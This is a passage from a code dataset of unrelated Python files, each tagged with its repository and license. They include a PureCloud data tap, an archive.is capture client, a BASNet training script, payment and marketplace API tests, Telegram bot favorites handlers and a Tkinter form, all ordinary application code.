PureCloudPlatformClientV2.configuration.host = api_host\n PureCloudPlatformClientV2.configuration.access_token = access_token\n\n sync_users(config, ctx)\n sync_groups(config, ctx)\n sync_locations(config, ctx)\n sync_presence_definitions(config, ctx)\n sync_queues(config, ctx)\n\n sync_management_units(config, ctx)\n sync_conversations(config, ctx)\n sync_user_details(config, ctx)\n\n ctx.state['start_date'] = datetime.date.today().strftime('%Y-%m-%d')\n ctx.write_state()\n\n\ndef do_discover(args):\n streams.discover({}).dump()\n\n\ndef main():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '-c', '--config', help='Config file', required=True)\n parser.add_argument(\n '-s', '--state', help='State file')\n parser.add_argument(\n '-d', '--discover', action='store_true', help='Run in discovery mode')\n parser.add_argument(\n '-p', '--properties', help='unused')\n parser.add_argument(\n '--catalog', help='specify streams to sync')\n\n args = parser.parse_args()\n\n try:\n if args.discover:\n do_discover(args)\n else:\n do_sync(args)\n except RuntimeError:\n logger.fatal(\"Run failed.\")\n exit(1)\n\n\nif __name__ == '__main__':\n main()\n", "source": "fishtown-analytics/tap-purecloud", "license": "Apache-2.0"} {"text": "from os import environ\n\nfrom boxkite.monitoring.exporter.fluentd_exporter import BEDROCK_FLUENTD_ADDR\nfrom boxkite.monitoring.service import ModelMonitoringService\nfrom tests.mockserver import MockRecvServer\n\n\ndef test_fluent_sender():\n server = MockRecvServer(port=24224)\n environ[BEDROCK_FLUENTD_ADDR] = \"localhost\"\n service = ModelMonitoringService()\n\n pid = service.log_prediction(\n request_body=\"test\", features=[2.0, 1.2, 0.8], output=\"dog\"\n )\n service._log_exporter._sender.close()\n\n item = server.get_received()[0]\n assert item[1] == item[2][\"created_at\"]\n server.close()\n", "source": "tintinrevient/boxkite", "license": "Apache-2.0"} {"text": "import elist.elist as elel\n\nLINE_SP = \"\\n\"\nNUL = \"\\x00\"\n\ndef padding_line(line,width,null=NUL):\n return(line+null*(width-line.__len__()))\n\ndef padding_lines(lines,**kwargs):\n if('null' in kwargs):\n null = kwargs['null']\n else:\n null = NUL\n width = elel.max_length(lines)\n return(elel.mapv(lines,padding_line,[width,null]))\n\ndef oddize_line(line,**kwargs):\n if('null' in kwargs):\n null = kwargs['null']\n else:\n null = NUL\n cond = (line.__len__() % 2 == 0)\n if(cond):\n line = line[0:line.__len__() // 2] + null + line[line.__len__() // 2:]\n else:\n pass\n return(line)\n\ndef oddize_rows(lines,**kwargs):\n if('null' in kwargs):\n null = kwargs['null']\n else:\n null = NUL\n height = lines.__len__()\n lines = elel.mapv(lines,oddize_line,[null])\n cond = (height%2 == 0)\n if(cond):\n lines = lines[0:height//2] + [null * lines[0].__len__()]+ lines[height//2:]\n else:\n pass\n return(lines)\n\ndef no_oddize(lines,**kwargs):\n return(lines)\n\n\n\n", "source": "ihgazni2/sledgehammer4nut", "license": "MIT"} {"text": "#!/usr/bin/env python\nimport os\nimport sys\nfrom sleepdebugger.reader import CannotLoadSensor, CannotReadSensor\nfrom subprocess import check_output\n\nclass Sensor(object):\n\n def __init__(self):\n # Do a read, if we can't find the binary, the reader throws an exception\n self.read()\n\n def read(self):\n try:\n line = check_output([\"htu21dflib\"])\n except Exception as err:\n raise CannotLoadSensor(\"Error: %s\" % str(err))\n\n if line.startswith(\"#\"):\n raise CannotReadSensor(\"Error: %s\" % line[1:])\n\n temp, hum = line.split(\" \")\n try:\n temp = float(temp)\n hum = float(hum)\n except ValueError:\n raise CannotReadSensor(\"Invalid data returned from sensor.\")\n return None\n\n return (temp, hum)\n", "source": "mayhem/sleep-debugger", "license": "BSD-2-Clause"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport click\nimport logging\nimport requests\nfrom six.moves.urllib.parse import urljoin\nlogger = logging.getLogger(__name__)\n\n\ndef capture(\n target_url,\n user_agent=\"archiveis (https://github.com/pastpages/archiveis)\",\n proxies={}\n):\n \"\"\"\n Archives the provided URL using archive.is\n\n Returns the URL where the capture is stored.\n \"\"\"\n # Put together the URL that will save our request\n domain = \"http://archive.is\"\n save_url = urljoin(domain, \"/submit/\")\n\n # Configure the request headers\n headers = {\n 'User-Agent': user_agent,\n \"host\": \"archive.is\",\n }\n\n # Request a unique identifier for our activity\n logger.debug(\"Requesting {}\".format(domain + \"/\"))\n get_kwargs = dict(\n timeout=120,\n allow_redirects=True,\n headers=headers,\n )\n if proxies:\n get_kwargs['proxies'] = proxies\n response = requests.get(domain + \"/\", **get_kwargs)\n response.raise_for_status()\n\n # It will need to be parsed from the homepage response headers\n html = str(response.content)\n try:\n unique_id = html.split('name=\"submitid', 1)[1].split('value=\"', 1)[1].split('\"', 1)[0]\n logger.debug(\"Unique identifier: {}\".format(unique_id))\n except IndexError:\n logger.warn(\"Unable to extract unique identifier from archive.is. Submitting without it.\")\n unique_id = None\n\n # Send the capture request to archive.is with the unique id included\n data = {\n \"url\": target_url,\n \"anyway\": 1,\n }\n if unique_id:\n data.update({\"submitid\": unique_id})\n\n post_kwargs = dict(\n timeout=120,\n allow_redirects=True,\n headers=headers,\n data=data\n )\n if proxies:\n post_kwargs['proxies'] = proxies\n\n logger.debug(\"Requesting {}\".format(save_url))\n response = requests.post(save_url, **post_kwargs)\n response.raise_for_status()\n\n # There are a couple ways the header can come back\n if 'Refresh' in response.headers:\n memento = str(response.headers['Refresh']).split(';url=')[1]\n logger.debug(\"Memento from Refresh header: {}\".format(memento))\n return memento\n if 'Location' in response.headers:\n memento = response.headers['Location']\n logger.debug(\"Memento from Location header: {}\".format(memento))\n return memento\n logger.debug(\"Memento not found in response headers. Inspecting history.\")\n for i, r in enumerate(response.history):\n logger.debug(\"Inspecting history request #{}\".format(i))\n logger.debug(r.headers)\n if 'Location' in r.headers:\n memento = r.headers['Location']\n logger.debug(\"Memento from the Location header of {} history response: {}\".format(i+1, memento))\n return memento\n # If there's nothing at this point, throw an error\n logger.error(\"No memento returned by archive.is\")\n logger.error(\"Status code: {}\".format(response.status_code))\n logger.error(response.headers)\n logger.error(response.text)\n raise Exception(\"No memento returned by archive.is\")\n\n\n@click.command()\n@click.argument(\"url\")\n@click.option(\"-ua\", \"--user-agent\", help=\"User-Agent header for the web request\")\ndef cli(url, user_agent):\n \"\"\"\n Archives the provided URL using archive.is.\n \"\"\"\n kwargs = {}\n if user_agent:\n kwargs['user_agent'] = user_agent\n archive_url = capture(url, **kwargs)\n click.echo(archive_url)\n\n\nif __name__ == \"__main__\":\n cli()\n", "source": "Zwemvest/archiveis", "license": "MIT"} {"text": "import torch\nimport torchvision\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, utils\nimport torch.optim as optim\nimport torchvision.transforms as standard_transforms\n\nimport numpy as np\nimport glob\n\nfrom data_loader import Rescale\nfrom data_loader import RescaleT\nfrom data_loader import RandomCrop\nfrom data_loader import CenterCrop\nfrom data_loader import ToTensor\nfrom data_loader import ToTensorLab\nfrom data_loader import SalObjDataset\n\nfrom model import BASNet\n\nimport pytorch_ssim\nimport pytorch_iou\n\n# ------- 1. define loss function --------\n\nbce_loss = nn.BCELoss(size_average=True)\nssim_loss = pytorch_ssim.SSIM(window_size=11,size_average=True)\niou_loss = pytorch_iou.IOU(size_average=True)\n\ndef bce_ssim_loss(pred,target):\n\n\tbce_out = bce_loss(pred,target)\n\tssim_out = 1 - ssim_loss(pred,target)\n\tiou_out = iou_loss(pred,target)\n\n\tloss = bce_out + ssim_out + iou_out\n\n\treturn loss\n\ndef muti_bce_loss_fusion(d0, d1, d2, d3, d4, d5, d6, d7, labels_v):\n\n\tloss0 = bce_ssim_loss(d0,labels_v)\n\tloss1 = bce_ssim_loss(d1,labels_v)\n\tloss2 = bce_ssim_loss(d2,labels_v)\n\tloss3 = bce_ssim_loss(d3,labels_v)\n\tloss4 = bce_ssim_loss(d4,labels_v)\n\tloss5 = bce_ssim_loss(d5,labels_v)\n\tloss6 = bce_ssim_loss(d6,labels_v)\n\tloss7 = bce_ssim_loss(d7,labels_v)\n\t#ssim0 = 1 - ssim_loss(d0,labels_v)\n\n\t# iou0 = iou_loss(d0,labels_v)\n\t#loss = torch.pow(torch.mean(torch.abs(labels_v-d0)),2)*(5.0*loss0 + loss1 + loss2 + loss3 + loss4 + loss5) #+ 5.0*lossa\n\tloss = loss0 + loss1 + loss2 + loss3 + loss4 + loss5 + loss6 + loss7#+ 5.0*lossa\n\tprint(\"l0: %3f, l1: %3f, l2: %3f, l3: %3f, l4: %3f, l5: %3f, l6: %3f\\n\"%(\n loss0.item(),\n loss1.item(),\n loss2.item(),\n loss3.item(),\n loss4.item(),\n loss5.item(),\n loss6.item()\n ))\n\t# print(\"BCE: l1:%3f, l2:%3f, l3:%3f, l4:%3f, l5:%3f, la:%3f, all:%3f\\n\"%(loss1.data[0],loss2.data[0],loss3.data[0],loss4.data[0],loss5.data[0],lossa.data[0],loss.data[0]))\n\n\treturn loss0, loss\n\n\n# ------- 2. set the directory of training dataset --------\n\ndata_dir = '/data/fangcheng.ji/datasets/human_segmentation'\ntra_image_dir = '/images/'\ntra_label_dir = '/masks/'\n\nmodel_dir = \"./saved_models/basnet_bsi/\"\nload_model_name = \"basnet_bsi_itr_6000_train_4.073827_tar_0.397622.pth\"\n\nwriter = SummaryWriter('./log')\n\nepoch_num = 100000\nbatch_size_train = 14\nbatch_size_val = 1\ntrain_num = 0\nval_num = 0\n\ntra_img_name_list = glob.glob(data_dir + tra_image_dir + '*')\ntra_lbl_name_list = [x.replace(tra_image_dir, tra_label_dir).replace('.' + x.split('.')[-1], '.png') \\\n for x in tra_img_name_list]\n\nprint(\"---\")\nprint(\"train images: \", len(tra_img_name_list))\nprint(\"train labels: \", len(tra_lbl_name_list))\nprint(\"---\")\n\ntrain_num = len(tra_img_name_list)\n\nsalobj_dataset = SalObjDataset(\n img_name_list=tra_img_name_list,\n lbl_name_list=tra_lbl_name_list,\n transform=transforms.Compose([\n RescaleT(256),\n RandomCrop(224),\n ToTensorLab(flag=0)]))\n\nsalobj_dataloader = DataLoader(\n salobj_dataset,\n batch_size=batch_size_train,\n shuffle=True,\n num_workers=8,\n pin_memory=True\n)\n\n# ------- 3. define model --------\n# define the net\nnet = BASNet(3, 1, device=\"cuda\")\nif load_model_name:\n print(f\"loading weight from {load_model_name}\")\n net.load_state_dict(torch.load(model_dir + load_model_name))\n\n# ------- 4. define optimizer --------\nprint(\"---define optimizer...\")\noptimizer = optim.Adam(net.parameters(), lr=0.001, betas=(0.9, 0.999), eps=1e-08, weight_decay=0)\n\n# ------- 5. training process --------\nprint(\"---start training...\")\nite_num = 6000\nite_num4val = 0\nrunning_loss = 0.0\nrunning_tar_loss = 0.0\n\nfor epoch in range(0, epoch_num):\n net.train()\n\n for i, data in enumerate(salobj_dataloader):\n ite_num = ite_num + 1\n ite_num4val = ite_num4val + 1\n\n inputs, labels = data['image'], data['label']\n\n inputs_v = inputs.to(net.device)\n labels_v = labels.to(net.device)\n\n # y zero the parameter gradients\n optimizer.zero_grad()\n\n # forward + backward + optimize\n d0, d1, d2, d3, d4, d5, d6, d7 = net(inputs_v)\n loss2, loss = muti_bce_loss_fusion(d0, d1, d2, d3, d4, d5, d6, d7, labels_v)\n\n loss.backward()\n optimizer.step()\n\n # # print statistics\n running_loss += loss.item()\n running_tar_loss += loss2.item()\n\n # tensorboard writer\n writer.add_scalar(\"Loss/loss_d0\", loss2.item(), ite_num)\n writer.add_scalar(\"Loss/loss_total\", loss.item(), ite_num)\n\n writer.add_scalar(\"Loss/running_loss_mean\", running_loss / ite_num4val, ite_num)\n writer.add_scalar(\"Loss/tar_loss_mean\", running_tar_loss / ite_num4val, ite_num)\n\n # del temporary outputs and loss\n del d0, d1, d2, d3, d4, d5, d6, d7, loss2, loss\n\n print(\"[epoch: %3d/%3d, batch: %5d/%5d, ite: %d] train loss: %3f, tar: %3f \" % (\n epoch + 1,\n epoch_num,\n (i + 1) * batch_size_train,\n train_num,\n ite_num,\n running_loss / ite_num4val,\n running_tar_loss / ite_num4val\n ))\n\n if ite_num % 2000 == 0: # save model every 2000 iterations\n\n torch.save(net.state_dict(), model_dir + \"basnet_bsi_itr_%d_train_%3f_tar_%3f.pth\" % (ite_num, running_loss / ite_num4val, running_tar_loss / ite_num4val))\n running_loss = 0.0\n running_tar_loss = 0.0\n net.train() # resume train\n ite_num4val = 0\n\nprint('-------------Congratulations! Training Done!!!-------------')\n", "source": "fangchengji/BASNet", "license": "MIT"} {"text": "from django.test import TestCase\n\nfrom mock import patch\n\nfrom ..models import MangoPayNaturalUser, MangoPayLegalUser\nfrom ..constants import (VALIDATED, IDENTITY_PROOF, NATURAL_USER, BUSINESS,\n ARTICLES_OF_ASSOCIATION, REGISTRATION_PROOF,\n SHAREHOLDER_DECLARATION, REFUSED, VALIDATION_ASKED)\n\nfrom .factories import (LightAuthenticationMangoPayNaturalUserFactory,\n RegularAuthenticationMangoPayNaturalUserFactory,\n LightAuthenticationMangoPayLegalUserFactory,\n RegularAuthenticationMangoPayLegalUserFactory,\n MangoPayDocumentFactory)\nfrom .client import MockMangoPayApi\n\n\nclass AbstractMangoPayUserTests(object):\n\n @patch(\"mangopay.models.get_mangopay_api_client\")\n def test_user_created(self, mock_client):\n id = 22\n mock_client.return_value = MockMangoPayApi(user_id=id)\n self.assertIsNone(self.user.mangopay_id)\n self.user.create()\n self.klass.objects.get(id=self.user.id, mangopay_id=id)\n\n @patch(\"mangopay.models.get_mangopay_api_client\")\n def test_user_updated(self, mock_client):\n mock_client.return_value = MockMangoPayApi(user_id=id)\n self.user.mangopay_id = 33\n self.user.update()\n\n\nclass AbstractMangoPayNaturalUserTests(AbstractMangoPayUserTests):\n\n def setUp(self):\n self.klass = MangoPayNaturalUser\n\n def test_save_saves_type(self):\n self.assertEqual(self.user.type, NATURAL_USER)\n self.assertFalse(self.user.is_legal())\n self.assertTrue(self.user.is_natural())\n\n\nclass LightAuthenticationMangoPayNaturalUserTests(\n AbstractMangoPayNaturalUserTests, TestCase):\n\n def setUp(self):\n super(LightAuthenticationMangoPayNaturalUserTests, self).setUp()\n self.user = LightAuthenticationMangoPayNaturalUserFactory()\n\n def test_has_authentication_levels(self):\n self.assertTrue(self.user.has_light_authenication())\n self.assertFalse(self.user.has_regular_authenication())\n\n\nclass RegularAuthenticationMangoPayNaturalUserTests(\n AbstractMangoPayNaturalUserTests, TestCase):\n\n def setUp(self):\n super(RegularAuthenticationMangoPayNaturalUserTests, self).setUp()\n self.user = RegularAuthenticationMangoPayNaturalUserFactory()\n self.document = MangoPayDocumentFactory(mangopay_user=self.user,\n type=IDENTITY_PROOF,\n status=VALIDATED)\n\n def test_has_authentication_levels(self):\n self.assertTrue(self.user.has_light_authenication())\n self.assertTrue(self.user.has_regular_authenication())\n\n def test_required_documents_types_that_need_to_be_reuploaded(self):\n self.assertEqual(\n self.user.required_documents_types_that_need_to_be_reuploaded(),\n [])\n self.document.status = REFUSED\n self.document.save()\n self.assertEqual(\n self.user.required_documents_types_that_need_to_be_reuploaded(),\n [IDENTITY_PROOF])\n MangoPayDocumentFactory(mangopay_user=self.user, type=IDENTITY_PROOF,\n status=None)\n self.assertEqual(\n self.user.required_documents_types_that_need_to_be_reuploaded(),\n [])\n\n\nclass AbstractMangoPayLegalUserTests(AbstractMangoPayUserTests):\n\n def setUp(self):\n self.klass = MangoPayLegalUser\n\n def test_save_saves_type(self):\n self.assertEqual(self.user.type, BUSINESS)\n self.assertTrue(self.user.is_legal())\n self.assertFalse(self.user.is_natural())\n\n\nclass LightAuthenticationMangoPayLegalUserTests(\n AbstractMangoPayLegalUserTests, TestCase):\n\n def setUp(self):\n super(LightAuthenticationMangoPayLegalUserTests, self).setUp()\n self.user = LightAuthenticationMangoPayLegalUserFactory()\n\n def test_has_authentication_levels(self):\n self.assertTrue(self.user.has_light_authenication())\n self.assertFalse(self.user.has_regular_authenication())\n\n\nclass RegularAuthenticationMangoPayLegalUserTests(\n AbstractMangoPayLegalUserTests, TestCase):\n\n def setUp(self):\n super(RegularAuthenticationMangoPayLegalUserTests, self).setUp()\n self.user = RegularAuthenticationMangoPayLegalUserFactory()\n self.identity_proof = MangoPayDocumentFactory(\n mangopay_user=self.user, type=IDENTITY_PROOF,\n status=VALIDATED)\n self.registration_proof = MangoPayDocumentFactory(\n mangopay_user=self.user, type=REGISTRATION_PROOF,\n status=VALIDATED)\n self.shareholder_declaration = MangoPayDocumentFactory(\n mangopay_user=self.user, type=SHAREHOLDER_DECLARATION,\n status=VALIDATED)\n self.articles_of_association = MangoPayDocumentFactory(\n mangopay_user=self.user, type=ARTICLES_OF_ASSOCIATION,\n status=VALIDATED)\n\n def test_has_authentication_levels(self):\n self.assertTrue(self.user.has_light_authenication())\n self.assertTrue(self.user.has_regular_authenication())\n\n def test_required_documents_types_that_need_to_be_reuploaded(self):\n self.assertEqual(\n self.user.required_documents_types_that_need_to_be_reuploaded(),\n [])\n self.identity_proof.status = REFUSED\n self.identity_proof.save()\n self.registration_proof.status = REFUSED\n self.registration_proof.save()\n self.shareholder_declaration.status = REFUSED\n self.shareholder_declaration.save()\n self.assertEqual(\n self.user.required_documents_types_that_need_to_be_reuploaded(),\n [IDENTITY_PROOF, REGISTRATION_PROOF, SHAREHOLDER_DECLARATION])\n MangoPayDocumentFactory(mangopay_user=self.user,\n type=IDENTITY_PROOF,\n status=VALIDATION_ASKED)\n self.assertEqual(\n self.user.required_documents_types_that_need_to_be_reuploaded(),\n [REGISTRATION_PROOF, SHAREHOLDER_DECLARATION])\n MangoPayDocumentFactory(mangopay_user=self.user,\n type=SHAREHOLDER_DECLARATION,\n status=VALIDATION_ASKED)\n self.assertEqual(\n self.user.required_documents_types_that_need_to_be_reuploaded(),\n [REGISTRATION_PROOF])\n MangoPayDocumentFactory(mangopay_user=self.user,\n type=REGISTRATION_PROOF,\n status=VALIDATED)\n self.assertEqual(\n self.user.required_documents_types_that_need_to_be_reuploaded(),\n [])\n", "source": "nunchaks/django-mangopay", "license": "MIT"} {"text": "\"\"\"\nTests for the mws.MWS class and Marketplaces.\n\"\"\"\nimport pytest\nfrom mws.mws import MWSError, MWS, Marketplaces\n\nmwscred = ['a', 'b', 'c']\n\n\ndef test_notvalid_region():\n with pytest.raises(MWSError):\n MWS(region='ERROR', *mwscred)\n\n\ndef test_regionparameter():\n api = MWS(region='CA', *mwscred)\n assert api.domain == 'https://mws.amazonservices.ca'\n\n\ndef test_marketplaces_enum():\n \"\"\"\n The way to access the values.\n \"\"\"\n assert Marketplaces.CA.endpoint == 'https://mws.amazonservices.ca'\n assert Marketplaces.CA.marketplace_id == 'A2EUQ1WTGCTBG2'\n", "source": "innotrade24/python-amazon-mws1", "license": "Unlicense"} {"text": "import datetime\nimport logging\nimport re\nimport threading\n\nfrom telegram import ForceReply\nfrom telegram import InlineKeyboardButton\nfrom telegram import InlineKeyboardMarkup, ReplyKeyboardMarkup\nfrom telegram.ext import ConversationHandler\n\nfrom botlistbot import captions\nfrom botlistbot import mdformat\nfrom botlistbot import const\nfrom botlistbot import settings\nfrom botlistbot import util\nfrom botlistbot.dialog import messages\nfrom botlistbot.layouts import Layouts\nfrom botlistbot.models import Bot\nfrom botlistbot.models import Favorite\nfrom botlistbot.models import Statistic\nfrom botlistbot.models import User\nfrom botlistbot.const import CallbackActions, DeepLinkingActions\nfrom botlistbot.models import track_activity\n\nlogging.basicConfig(format='%(levelname)s: %(message)s', level=logging.INFO)\nlog = logging.getLogger(__name__)\n\n\ndef add_favorite_handler(bot, update, args=None):\n uid = util.uid_from_update(update)\n from botlistbot.components.basic import main_menu_buttons\n main_menu_markup = ReplyKeyboardMarkup(main_menu_buttons(uid in settings.MODERATORS))\n\n if args:\n query = ' '.join(args) if isinstance(args, list) else args\n try:\n # TODO: add multiple\n username = re.match(settings.REGEX_BOT_IN_TEXT, query).groups()[0]\n try:\n # TODO: get exact database matches for input without `@`\n item = Bot.by_username(username, include_disabled=True)\n\n return add_favorite(bot, update, item)\n except Bot.DoesNotExist:\n buttons = [\n InlineKeyboardButton(\n \"Yai!\", callback_data=util.callback_for_action(CallbackActions.ADD_ANYWAY, {'u': username})),\n InlineKeyboardButton(\"Nay...\", callback_data=util.callback_for_action(CallbackActions.ADD_FAVORITE))\n ]\n reply_markup = InlineKeyboardMarkup([buttons])\n util.send_md_message(bot, uid,\n \"{} is not in the @BotList. Do you want to add it to your {} anyway?\".format(\n username, captions.FAVORITES),\n reply_markup=reply_markup)\n except AttributeError:\n # invalid bot username\n # TODO when does this happen?\n update.message.reply_text(\n util.failure(\"Sorry, but that is not a valid username. Please try again. /addfav\"))\n else:\n buttons = [\n InlineKeyboardButton(\"Search inline\", switch_inline_query_current_chat='')\n ]\n reply_markup = InlineKeyboardMarkup([buttons])\n\n bot.sendMessage(uid, messages.ADD_FAVORITE, reply_markup=ForceReply(selective=True))\n return ConversationHandler.END\n\n\ndef add_favorite(bot, update, item: Bot, callback_alert=None):\n user = User.from_update(update)\n uid = util.uid_from_update(update)\n mid = util.mid_from_update(update)\n from botlistbot.components.basic import main_menu_buttons\n main_menu_markup = ReplyKeyboardMarkup(main_menu_buttons(uid in settings.MODERATORS))\n\n fav, created = Favorite.add(user=user, item=item)\n if created:\n Statistic.of(user, 'add-favorite', item.username)\n text = mdformat.love(\"{} added to your {}favorites.\".format(fav.bot, '' if callback_alert else '/'))\n if callback_alert:\n update.callback_query.answer(text=text, show_alert=False)\n else:\n msg = util.send_md_message(bot, uid, text, to_edit=mid, reply_markup=main_menu_markup)\n mid = msg.message_id\n util.wait(bot, update)\n send_favorites_list(bot, update, to_edit=mid)\n else:\n text = mdformat.none_action(\n \"{} is already a favorite of yours.{}\".format(fav.bot, '' if callback_alert else ' /favorites'))\n if callback_alert:\n update.callback_query.answer(text=text, show_alert=False)\n else:\n util.send_md_message(bot, uid, text, reply_markup=main_menu_markup)\n return ConversationHandler.END\n\n\n@track_activity('view-favorites', level=Statistic.ANALYSIS)\ndef send_favorites_list(bot, update, to_edit=None):\n uid = util.uid_from_update(update)\n user = User.from_update(update)\n\n t = threading.Thread(target=_too_many_favorites_handler, args=(bot, update, user))\n t.start()\n\n favorites = Favorite.select_all(user)\n\n buttons = [\n [\n InlineKeyboardButton(captions.ADD_FAVORITE,\n callback_data=util.callback_for_action(CallbackActions.ADD_FAVORITE)),\n InlineKeyboardButton(captions.REMOVE_FAVORITE,\n callback_data=util.callback_for_action(CallbackActions.REMOVE_FAVORITE_MENU))\n ],\n [\n InlineKeyboardButton('Layout: ' + Layouts.get_caption(user.favorites_layout),\n callback_data=util.callback_for_action(\n CallbackActions.TOGGLE_FAVORITES_LAYOUT,\n {'v': Layouts.get_next(user.favorites_layout)})),\n ],\n [\n InlineKeyboardButton(captions.SHARE, switch_inline_query=DeepLinkingActions.FAVORITES),\n ]\n ]\n reply_markup = InlineKeyboardMarkup(buttons)\n\n if to_edit is None:\n to_edit = util.mid_from_update(update)\n\n if len(favorites) == 0:\n text = \"You have no favorites yet.\"\n else:\n text = _favorites_categories_md(favorites, user.favorites_layout)\n\n bot.formatter.send_or_edit(uid, text,\n to_edit=to_edit, reply_markup=reply_markup)\n\n\n@track_activity('toggled their favorites layout', level=Statistic.ANALYSIS)\ndef toggle_favorites_layout(bot, update, value):\n uid = util.uid_from_update(update)\n user = User.from_update(update)\n user.favorites_layout = value\n user.save()\n send_favorites_list(bot, update)\n\n\ndef _favorites_categories_md(favorites, layout=None):\n text = messages.FAVORITES_HEADLINE + '\\n'\n chunks = list()\n\n if layout == 'single':\n # text += '\\n'\n favorites.sort(key=lambda x: x.bot.username)\n bots = [f.bot for f in favorites]\n total = len(bots) - 1\n for n, bot in enumerate(bots):\n if n < total:\n list_icon = '\u251c'\n else:\n list_icon = '\u2514'\n chunks.append('{} {}'.format(list_icon, str(bot)))\n all_favorites = '\\n'.join(chunks)\n text += all_favorites\n\n else:\n # sort favorites by database order\n favorites.sort(key=lambda x: str(x.bot.category.order) if x.bot.category else x.bot.username)\n\n current_category = None\n for n, f in enumerate(favorites):\n bot = f.bot\n category = bot.category\n\n try:\n if favorites[n + 1].bot.category != category:\n list_icon = '\u2514'\n else:\n list_icon = '\u251c'\n except IndexError:\n list_icon = '\u2514'\n\n if current_category is None or category != current_category:\n category_no_bulletin = str(category)[1:]\n chunks.append('\\n*{}*'.format(category_no_bulletin))\n\n chunks.append('{} {}'.format(list_icon, str(bot)))\n current_category = category\n\n all_favorites = '\\n'.join(chunks)\n text += all_favorites\n\n return text\n\n\n@track_activity('menu', 'remove favorite', Statistic.DETAILED)\ndef remove_favorite_menu(bot, update):\n uid = util.uid_from_update(update)\n user = User.from_update(update)\n favorites = Favorite.select_all(user)\n\n fav_remove_buttons = [InlineKeyboardButton(\n '\u2716\ufe0f {}'.format(str(f.bot.username)),\n callback_data=util.callback_for_action(CallbackActions.REMOVE_FAVORITE, {'id': f.id}))\n for f in favorites]\n buttons = util.build_menu(fav_remove_buttons, 2, header_buttons=[\n InlineKeyboardButton(captions.DONE,\n callback_data=util.callback_for_action(CallbackActions.SEND_FAVORITES_LIST))\n ])\n reply_markup = InlineKeyboardMarkup(buttons)\n bot.formatter.send_or_edit(uid, util.action_hint(\"Select favorites to remove\"),\n to_edit=util.mid_from_update(update),\n reply_markup=reply_markup)\n\n\ndef _too_many_favorites_handler(bot, update, user):\n uid = util.uid_from_update(update)\n any_removed = False\n while too_many_favorites(user):\n oldest = Favorite.get_oldest(user)\n oldest.delete_instance()\n any_removed = True\n Statistic.of(update, 'had to lose a favorite because HE HAD TOO FUCKIN MANY \ud83d\ude2c')\n if any_removed:\n txt = \"You have too many favorites, _they do not fit into a single message_. That's why I removed your \" \\\n \"oldest bot, *{}*, from your list of favorites.\".format(oldest.bot if oldest.bot else oldest.custom_bot)\n util.send_md_message(bot, uid, txt)\n\n\ndef too_many_favorites(user):\n favs = Favorite.select_all(user)\n promo = max(len(messages.PROMOTION_MESSAGE), len(messages.FAVORITES_HEADLINE))\n message_length = len(_favorites_categories_md(favs)) + promo + 4\n return message_length > 4096\n\n\ndef add_custom(bot, update, username):\n uid = util.uid_from_update(update)\n user = User.from_update(update)\n mid = util.mid_from_update(update)\n from botlistbot.components.basic import main_menu_buttons\n main_menu_markup = ReplyKeyboardMarkup(main_menu_buttons(uid in settings.MODERATORS))\n\n try:\n fav = Favorite.get(custom_bot=username)\n util.send_or_edit_md_message(\n bot, uid, mdformat.none_action(\n \"{} is already a favorite of yours. /favorites\".format(fav.custom_bot)),\n to_edit=mid,\n reply_markup=main_menu_markup)\n except Favorite.DoesNotExist:\n fav = Favorite(user=user, custom_bot=username, date_added=datetime.date.today())\n fav.save()\n msg = bot.formatter.send_or_edit(uid,\n mdformat.love(\"{} added to your /favorites.\".format(fav.custom_bot)),\n to_edit=mid)\n mid = msg.message_id\n util.wait(bot, update)\n send_favorites_list(bot, update, to_edit=mid)\n return ConversationHandler.END\n\n\n", "source": "Rostgnom/BotListBot", "license": "MIT"} {"text": "from tkinter import *\nfrom registradorDB import Db\n\nclass FrameCadastro(Frame):\n def __init__(self, container):\n super().__init__(container)\n \n self.db = Db()\n \n # id\n self.lb_id = Label(self, text='Id:', width=10)\n self.lb_id_mostrar = Label(self, text=self.db.get_nextId())\n\n self.lb_nome = Label(self, text='Nome:', width=10)\n\n\n # nome\n self.etd_nome = Entry(self)\n self.etd_nome.bind('', self.onReturn)\n\n # # sexo\n # lbsexo = Label(self, text='sexo:')\n # entdSexo = Entry(self)\n # lbsexo.grid(row=2, column=1, pady=2)\n # entdSexo.grid(row=2, column=2, pady=2)\n\n # idade\n self.lb_idade = Label(self, text='Idade:', width=10)\n self.etd_idade = Entry(self)\n self.etd_idade.bind('', self.onReturn)\n\n # label de aviso\n self.lb_aviso = Label(self, text=' ')\n\n # botao cadatrar, limpar, sair\n self.bt_cadastrar = Button(self, text='Cadastrar', command=self.cadastrar)\n self.bt_limpar = Button(self, text='Limpar', width=10, command=self.limpar_Entradas)\n \n\n # labels de confirmacao\n self.lb_id_confirmacao = Label(self, width=15)\n self.lb_nome_confirmacao = Label(self, width=15)\n self.lb_idade_confirmacao = Label(self, width=15)\n\n # --- posicoes ---------------\n\n # id:, id_mostrar, entradaNome, lb_idade, entrada_idade\n self.lb_id.grid(row=0, column=1, pady=2)\n self.lb_id_mostrar.grid(row=0, column=2, pady=2)\n\n self.lb_nome.grid(row=1, column=1, pady=2)\n self.etd_nome.grid(row=1, column=2, pady=2)\n\n self.lb_idade.grid(row=3, column=1, pady=2)\n self.etd_idade.grid(row=3, column=2, pady=2)\n\n # lb aviso\n self.lb_aviso.grid(row=4, column=1, columnspan=3, padx=2, pady=2, sticky='news')\n\n # botao cadastrar, limpar, sair\n self.bt_cadastrar.grid(row=5, column=2, columnspan=3, padx=2, pady=2, sticky='news')\n self.bt_limpar.grid(row=5, column=1, padx=2, pady=2)\n\n # confirmacoes\n self.lb_id_confirmacao.grid(row=0, column=3, padx=2, pady=2)\n self.lb_nome_confirmacao.grid(row=1, column=3, padx=2, pady=2)\n self.lb_idade_confirmacao.grid(row=3, column=3)\n\n def ehNumero(self, n):\n try:\n int(n)\n return True\n except:\n return False\n\n\n\n\n def limpar_Entradas(self):\n self.etd_nome.delete(0, END)\n self.etd_idade.delete(0, END)\n\n\n def proximoId(self):\n id = int(self.db.id)+1\n return id\n\n\n\n # botao return (key=enter)\n def onReturn(self, evento):\n self.cadastrar()\n\n def cadastrar(self):\n nome = self.etd_nome.get()\n idade = self.etd_idade.get()\n\n if not self.ehNumero(idade) and nome:\n self.lb_aviso.config(text='idade precisa ser numero', fg='red')\n self.etd_idade.config(relief=SOLID, 